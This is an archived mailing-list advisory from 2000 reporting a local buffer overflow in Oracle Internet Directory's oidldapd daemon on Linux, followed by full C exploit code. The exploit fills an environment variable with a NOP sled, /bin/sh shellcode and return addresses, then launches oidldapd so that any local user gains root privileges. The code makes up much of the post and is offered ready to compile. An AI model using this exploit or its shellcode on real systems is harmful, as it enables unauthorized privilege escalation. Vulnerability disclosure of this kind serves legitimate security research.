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vulnerability #1 in Oracle Internet Directory 2.1.1.1 in Oracle 8.1.7
From: Juan Manuel Pascual Escriba <pask () PLAZASITE COM>
Date: Thu, 21 Dec 2000 12:26:27 +0100
WWW.PLAZASITE.COM System & Security Division Title: Vulnerability in oidldapd in Oracle 8.1.7 Date: 10-12-2000 Platform: Only tested in Linux, but can be exported to others. Impact: Any user gain euid=root. Author: Juan Manuel Pascual (pask () plazasite com) Status: Vendor Contacted answers received. Details Below OVERVIEW: oidldapd is a Oracle Internet Directory. Oracle Ldap Daemon. The actual version is 2.1.1.1 PROBLEM SUMMARY: There is a buffer overflow in oidldapd that can be use by local users to obtain euid of root user. Easy for user oracle. IMPACT: Any user with local access, can gain euid= root. SOLUTION: Chmod -s ;-)))). STATUS: Vendor was contacted 10-Dec-2000. They point me to metalink site then all to metalink site ;-) ---------------- This vulnerability was researched by: Juan Manuel Pascual Escriba pask () plazasite com -- " In God We trust, Others We monitor " ------------------------------------------------------------- Juan Manuel Pascual Escribá Administrador de Sistemas PlazaSite S.A. c/ Tomás Bretón 32-38 08950 Esplugues de Llobregat (Barcelona), SPAIN Ph: +34 93 3717398 Fax: +34 93 3711968 mob: 667591142 Email: pask () plazasite com -------------------------------------------------------------
/* Exploit Code for oidldapd in Oracle 8.1.7 (8ir3) for Linux. I tested in RH 6.2 and 6.1. synopsis: buffer overflow in oidldapd impact: any local user gain euid=root. Dedicated to my mentors. Cra & Borja. Thanks for your knowledge and wisdom. */ #include <stdio.h> #include <stdlib.h> #define DEFAULT_OFFSET -400 #define DEFAULT_BUFFER_SIZE 700 #define NOP 0x90 #define ORACLE_HOME "/work/oracle8ir3" char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr,*name[3],environ[100],binary[120]; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; buff = malloc(bsize); addr = get_sp() - offset; ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; for (i = 0; i < bsize/2; i++) buff[i] = NOP; ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; memcpy(buff,"EGG=",4); putenv(buff); sprintf(environ,"ORACLE_HOME=%s",ORACLE_HOME); putenv(environ); sprintf(binary,"%s/bin/oidldapd connect=$EGG",ORACLE_HOME); system(binary); }
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- vulnerability #1 in Oracle Internet Directory 2.1.1.1 in Oracle 8.1.7 Juan Manuel Pascual Escriba (Dec 21)